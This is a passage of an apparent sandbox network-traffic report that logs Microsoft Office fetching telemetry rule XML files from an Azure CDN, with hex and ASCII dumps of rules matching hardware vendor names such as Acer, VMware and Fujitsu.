2024-10-31 10:28:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102801Z-15b8d89586f8nxpt6ys645x5v00000000asg000000001r5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 601805a2-a01e-000d-7265-2ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102801Z-17c5cb586f6f98jx9q4y7udcaw00000000z0000000004psn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102801Z-16849878b78bjkl8dpep89pbgg00000007zg00000000f0ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:01 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f981d888-e01e-0099-4d18-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102801Z-17c5cb586f6f8m6jnehy0z65x400000008u000000000238r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102801Z-16849878b787bfsh7zgp804my4000000087g000000004eb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 48d00a26-901e-007b-7d77-2aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102802Z-159b85dff8fhxqdbhC1DFW5pzn00000001pg000000005hm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: def6a666-601e-0001-6e47-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102802Z-17c5cb586f6zcqf8r7the4ske000000001qg000000007tak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102802Z-16849878b78km6fmmkbenhx76n00000008r0000000009622 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102802Z-16849878b78bjkl8dpep89pbgg000000084g0000000053wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102802Z-16849878b78sx229w7g7at4nkg00000007rg000000001q3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:02 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f6d28dea-a01e-0002-4ae8-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102803Z-15b8d89586fst84kttks1s2css0000000360000000000pk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
